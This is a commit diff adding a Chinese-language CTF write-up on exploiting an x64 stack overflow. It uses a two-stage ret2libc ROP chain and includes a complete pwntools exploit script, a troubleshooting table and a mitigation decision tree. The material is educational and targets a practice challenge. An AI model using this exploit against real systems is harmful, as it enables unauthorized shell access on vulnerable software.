reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,141 @@
|
||||
# [种子] CTF Pwn — x64 栈溢出 + ROP 链调用 system
|
||||
|
||||
## 场景分类
|
||||
CTF / 二进制利用
|
||||
|
||||
## 目标概述
|
||||
一个 64 位 ELF,存在 `read()` 越界写入栈缓冲区。本机有 NX(不可执行栈)但无 PIE,无 stack canary。利用 ROP gadget 调用 libc 的 `system("/bin/sh")` 拿 shell。
|
||||
|
||||
## 完整执行链路
|
||||
|
||||
1. 基础侦察
|
||||
```bash
|
||||
file vuln # ELF 64-bit, dynamically linked, not stripped
|
||||
checksec vuln # NX enabled, No PIE, No Canary, Partial RELRO
|
||||
strings vuln | grep -i 'flag\|/bin/sh\|system'
|
||||
```
|
||||
2. 用 IDA / Ghidra 看 main → 发现 `read(0, buf, 0x100)` 但 `buf` 只有 0x40 字节
|
||||
3. 计算溢出偏移
|
||||
```bash
|
||||
pwndbg> cyclic 200
|
||||
# 输入到目标程序,崩溃后看 RSP
|
||||
pwndbg> cyclic -l 0x6161616c
|
||||
# 偏移 = 72
|
||||
```
|
||||
4. 由于没 PIE,PLT 和 GOT 都是固定地址
|
||||
5. 第一阶段(无 libc 信息):泄漏 `puts@GOT` 内容算 libc base
|
||||
```python
|
||||
payload = b'A' * 72
|
||||
payload += p64(POP_RDI)
|
||||
payload += p64(elf.got['puts'])
|
||||
payload += p64(elf.plt['puts'])
|
||||
payload += p64(elf.symbols['main']) # 回到 main 二次利用
|
||||
```
|
||||
6. 接收 puts 输出,定位 libc 版本(用 libc-database 查询)
|
||||
7. 第二阶段:构造 system("/bin/sh")
|
||||
```python
|
||||
payload = b'A' * 72
|
||||
payload += p64(POP_RDI) + p64(libc_base + libc.search(b'/bin/sh').next())
|
||||
payload += p64(libc_base + libc.symbols['system'])
|
||||
```
|
||||
8. 拿 shell → cat flag
|
||||
|
||||
## 踩坑记录
|
||||
|
||||
| 问题 | 原因 | 解决方案 | 耗时 |
|
||||
|------|------|---------|------|
|
||||
| ROP 调用 system 后程序崩溃,没 shell | 栈未对齐到 16 字节(Ubuntu 18.04+ 对 movaps 严格) | system 前加一个 ret gadget 做 padding | 30min |
|
||||
| 本地能打通,远程打不通 | libc 版本不一致 | 用 puts 泄漏一个函数地址 → 上 libc-database 查精确版本 | 40min |
|
||||
| pwntools recv 卡住 | 程序输出用了 setbuf(NULL) 但远程未关闭 stderr 缓冲 | 用 sendlineafter / recvuntil 精确同步 | 15min |
|
||||
| 一打远程就 SIGPIPE | 第二阶段 payload 还在使用上一轮的 io 对象 | 用 `process` / `remote` 之后 io 必须复用同一个连接,主进程死了就完了 | 20min |
|
||||
| ROPgadget 输出太多 | 工具默认列所有 gadget | `ROPgadget --binary vuln --only "pop\|ret"` 过滤 | 5min |
|
||||
|
||||
## 工具链发现
|
||||
|
||||
- **pwntools** 是 Python 写 exploit 的事实标准(`from pwn import *`)
|
||||
- **pwndbg** 比 GDB 自带的强 10 倍(带 cyclic / vmmap / heap 命令)
|
||||
- **ROPgadget** vs **ropper**:ropper 输出更友好,支持搜索 syscall chain
|
||||
- **libc-database** 通过泄漏的 1 个 libc 函数地址匹配确切 libc 版本
|
||||
- **one_gadget** 找一个能直接 execve("/bin/sh") 的 libc gadget,比手动 ROP 更短
|
||||
|
||||
## 关键代码/命令
|
||||
|
||||
完整 exploit 模板:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
context.binary = elf = ELF('./vuln')
|
||||
libc = ELF('./libc.so.6')
|
||||
|
||||
POP_RDI = 0x401243 # ROPgadget --binary vuln | grep "pop rdi"
|
||||
RET = 0x40101a # 用于栈对齐
|
||||
|
||||
def exp():
|
||||
io = remote('chal.example.com', 31337)
|
||||
# io = process('./vuln')
|
||||
|
||||
# Stage 1: leak puts@GOT
|
||||
payload = b'A' * 72
|
||||
payload += p64(POP_RDI) + p64(elf.got['puts'])
|
||||
payload += p64(elf.plt['puts'])
|
||||
payload += p64(elf.symbols['main'])
|
||||
|
||||
io.sendlineafter(b'> ', payload)
|
||||
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
|
||||
libc.address = leak - libc.symbols['puts']
|
||||
log.success(f'libc base = {hex(libc.address)}')
|
||||
|
||||
# Stage 2: system('/bin/sh')
|
||||
bin_sh = next(libc.search(b'/bin/sh'))
|
||||
payload = b'A' * 72
|
||||
payload += p64(RET) # 16-byte stack alignment
|
||||
payload += p64(POP_RDI) + p64(bin_sh)
|
||||
payload += p64(libc.symbols['system'])
|
||||
|
||||
io.sendlineafter(b'> ', payload)
|
||||
io.interactive()
|
||||
|
||||
if __name__ == '__main__':
|
||||
exp()
|
||||
```
|
||||
|
||||
## 对本包的改进建议
|
||||
|
||||
- CTF-Sandbox-Orchestrator 的 `competition-reverse-pwn` 应增加 `pwn-rop-cheatsheet.md`,把这个流程做成模板
|
||||
- bootstrap manifest 加入 pwntools / pwndbg / one_gadget
|
||||
|
||||
## 可复用的模式/脚本片段
|
||||
|
||||
**ROP 利用决策树**:
|
||||
|
||||
```text
|
||||
checksec → 看保护
|
||||
├── 无 NX → shellcode 直接打 (古早做法)
|
||||
├── NX + 无 PIE → ret2libc 经典
|
||||
├── NX + PIE + 无 Canary → 先泄漏 PIE 基址 → ret2libc
|
||||
├── 有 Canary → 先想办法泄漏 Canary(格式化字符串 / off-by-one)
|
||||
└── Full RELRO + Canary + PIE → 难度大,常见手段:fork 不重 ASLR / __libc_start_main / SROP
|
||||
```
|
||||
|
||||
**libc 泄漏 → 利用 标准两阶段 payload**:
|
||||
|
||||
```text
|
||||
Stage 1: leak puts@GOT → 算 libc base → 回 main
|
||||
Stage 2: pop rdi; "/bin/sh"; ret; system
|
||||
```
|
||||
|
||||
## 进化动作
|
||||
- [ ] CTF orchestrator 增加 pwn 速查页
|
||||
- [ ] bootstrap-manifest 加入 pwntools / pwndbg / one_gadget
|
||||
- [ ] reverse-engineering/tools-dynamic.md 引用本案例
|
||||
|
||||
## 环境信息
|
||||
- Kali 2026.x / Ubuntu 22.04
|
||||
- pwntools 4.x, pwndbg 最新, ROPgadget 7.x
|
||||
- libc 版本: glibc 2.31 / 2.35(CTF 常见)
|
||||
- 目标架构: x86_64
|
||||
|
||||
## 脱敏要求
|
||||
本条目为种子数据,基于公开 CTF 技术模式编写,不涉及任何真实赛题或闭源系统。
|
||||
Reference in New Issue
Block a user